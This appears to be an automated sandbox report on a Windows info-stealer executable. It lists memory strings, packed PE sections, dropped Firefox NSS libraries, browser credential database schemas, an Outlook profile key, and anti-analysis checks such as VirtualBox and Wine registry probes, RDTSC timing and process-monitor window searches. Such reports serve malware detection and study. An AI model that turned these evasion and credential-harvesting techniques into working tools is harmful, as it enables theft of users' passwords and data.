Source: file.exe, 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Visual
Source: file.exe, 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF
Source: file.exe, 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm
Source: file.exe, 00000000.00000002.2010590258.0000000029D80000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp, AEGHJKJKKJDHIDHJKJDB.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: HIIIDAKK.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000002.2010590258.0000000029D80000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp, AEGHJKJKKJDHIDHJKJDB.0.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: HIIIDAKK.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: ECGDBAEHIJKKFHIEGCBGCAFIJJ.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: ECGDBAEHIJKKFHIEGCBGCAFIJJ.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: file.exe, 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: ECGDBAEHIJKKFHIEGCBGCAFIJJ.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.1955829776.000000002A169000.00000004.00000020.00020000.00000000.sdmp, ECGDBAEHIJKKFHIEGCBGCAFIJJ.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: file.exe, 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: ECGDBAEHIJKKFHIEGCBGCAFIJJ.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.1955829776.000000002A169000.00000004.00000020.00020000.00000000.sdmp, ECGDBAEHIJKKFHIEGCBGCAFIJJ.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012AC1B9	0_2_012AC1B9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0129D8B4	0_2_0129D8B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012A70EF	0_2_012A70EF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013CAA1D	0_2_013CAA1D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013CCA54	0_2_013CCA54
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01441AC2	0_2_01441AC2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01305AA2	0_2_01305AA2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01313DB6	0_2_01313DB6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013CEDE0	0_2_013CEDE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0148E45B	0_2_0148E45B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013C3446	0_2_013C3446
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012FDE2D	0_2_012FDE2D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013C4E95	0_2_013C4E95
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013C6E92	0_2_013C6E92

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 010045C0 appears 316 times

Source: file.exe, 00000000.00000002.2013880147.000000006C865000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2014016071.000000006F902000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: njaoxwad ZLIB complexity 0.9948439896472393

Source: file.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: file.exe, 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1759914221.0000000005700000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/22@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_01019600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_01019600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_01013720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_01013720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\Q74LOOWK.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2005647981.000000001DE49000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2013737653.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2013478018.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2005647981.000000001DE49000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2013737653.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2013478018.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2005647981.000000001DE49000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2013737653.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2013478018.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2005647981.000000001DE49000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2013737653.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2013478018.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2005647981.000000001DE49000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2013737653.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2013478018.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2005647981.000000001DE49000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2013478018.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2005647981.000000001DE49000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2013737653.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2013478018.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1851935161.000000001DD44000.00000004.00000020.00020000.00000000.sdmp, JJKFBAKFBGDHIEBGDAKF.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2005647981.000000001DE49000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2013478018.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2005647981.000000001DE49000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2013478018.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	String found in binary or memory: ft.com/en-us/office/examples-of-office-product-keys-7d48285b-20e8-4b9b-91ad-216e34163bad?wt.mc_id=enterpk2016&ui=en-us&rs=en-us&ad=us https://support.microsoft.com/en-us/topic/install-the-english-language-pack-for-32-bit-office-94ba2e0b-638e-4a92-8857-2cb5ac1d
Source: file.exe	String found in binary or memory: m/en-us/office/examples-of-office-product-keys-7d48285b-20e8-4b9b-91ad-216e34163bad?wt.mc_id=enterpk2016&ui=en-us&rs=en-us&ad=us https://support.microsoft.com/en-us/topic/install-the-english-language-pack-for-32-bit-office-94ba2e0b-638e-4a92-8857-2cb5ac1d8e17?
Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1825792 > 1048576

Source: file.exe

Static PE information: Raw size of njaoxwad is bigger than: 0x100000 < 0x197800

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2013976066.000000006F8ED000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2013737653.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2013737653.000000006C81F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2013976066.000000006F8ED000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.1000000.0.unpack :EW;.rsrc :W;.idata :W; :EW;njaoxwad:EW;wxwvdadu:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;njaoxwad:EW;wxwvdadu:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_01019860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_01019860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1cc9f0 should be: 0x1cbb3a

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: njaoxwad
Source: file.exe	Static PE information: section name: wxwvdadu
Source: file.exe	Static PE information: section name: .taggant
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0142F956 push 1E316C08h; mov dword ptr [esp], ebx	0_2_0142F980
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01477162 push esi; mov dword ptr [esp], edi	0_2_0147718C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0149716E push 30A6C532h; mov dword ptr [esp], eax	0_2_0149717C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01439906 push 365AFA3Ah; mov dword ptr [esp], eax	0_2_01439954
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01439906 push 3F194005h; mov dword ptr [esp], edi	0_2_0143997A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0146A109 push 51465021h; mov dword ptr [esp], edx	0_2_0146A117
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01360162 push 2E01CD00h; mov dword ptr [esp], edx	0_2_0136017D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01360162 push ecx; mov dword ptr [esp], edx	0_2_013601A9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01360162 push ecx; mov dword ptr [esp], edi	0_2_013601EB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01360162 push 0A93FC91h; mov dword ptr [esp], ebp	0_2_0136023D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01360162 push edx; mov dword ptr [esp], 2E356B0Eh	0_2_01360294
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01360162 push ebp; mov dword ptr [esp], ebx	0_2_013602B8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013EA961 push 51D620F4h; mov dword ptr [esp], edx	0_2_013EA9CA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013EA961 push edi; mov dword ptr [esp], ecx	0_2_013EA9EF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_014B612B push ebx; mov dword ptr [esp], 2E5573E0h	0_2_014B613F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_014B612B push ebx; mov dword ptr [esp], ebp	0_2_014B6232
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_014B612B push esi; mov dword ptr [esp], edx	0_2_014B6269
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0143D126 push ebp; mov dword ptr [esp], ebx	0_2_0143D16C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01446923 push 1176A8E3h; mov dword ptr [esp], edi	0_2_01446975
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01446923 push 7C9CF9B1h; mov dword ptr [esp], ecx	0_2_014469AD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012AC1B9 push 12A701B1h; mov dword ptr [esp], edx	0_2_012AC1ED
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012AC1B9 push 14DE1F2Dh; mov dword ptr [esp], edi	0_2_012AC261
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012AC1B9 push 3EEEB99Ah; mov dword ptr [esp], eax	0_2_012AC2A1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012AC1B9 push ebp; mov dword ptr [esp], 47D97D3Ah	0_2_012AC2EF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_014229FA push eax; mov dword ptr [esp], ebx	0_2_01422C19
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0148E183 push edx; mov dword ptr [esp], eax	0_2_0148E1BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0148E183 push edx; mov dword ptr [esp], 51121B40h	0_2_0148E1EE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0148E183 push eax; mov dword ptr [esp], edi	0_2_0148E285
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0149D9B9 push eax; mov dword ptr [esp], 113E2B47h	0_2_0149D9EC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0149D9B9 push eax; mov dword ptr [esp], ebp	0_2_0149DA34
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0146E074 push edx; mov dword ptr [esp], edi	0_2_0146E17E

Source: file.exe

Static PE information: section name: njaoxwad entropy: 7.953810416570519

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_01019860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13521

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1261E4F second address: 1261E63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FDA8CCCE52Bh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1261E63 second address: 1261E67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D33B5 second address: 13D33BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D33BD second address: 13D33D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FDA8CCA1272h 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
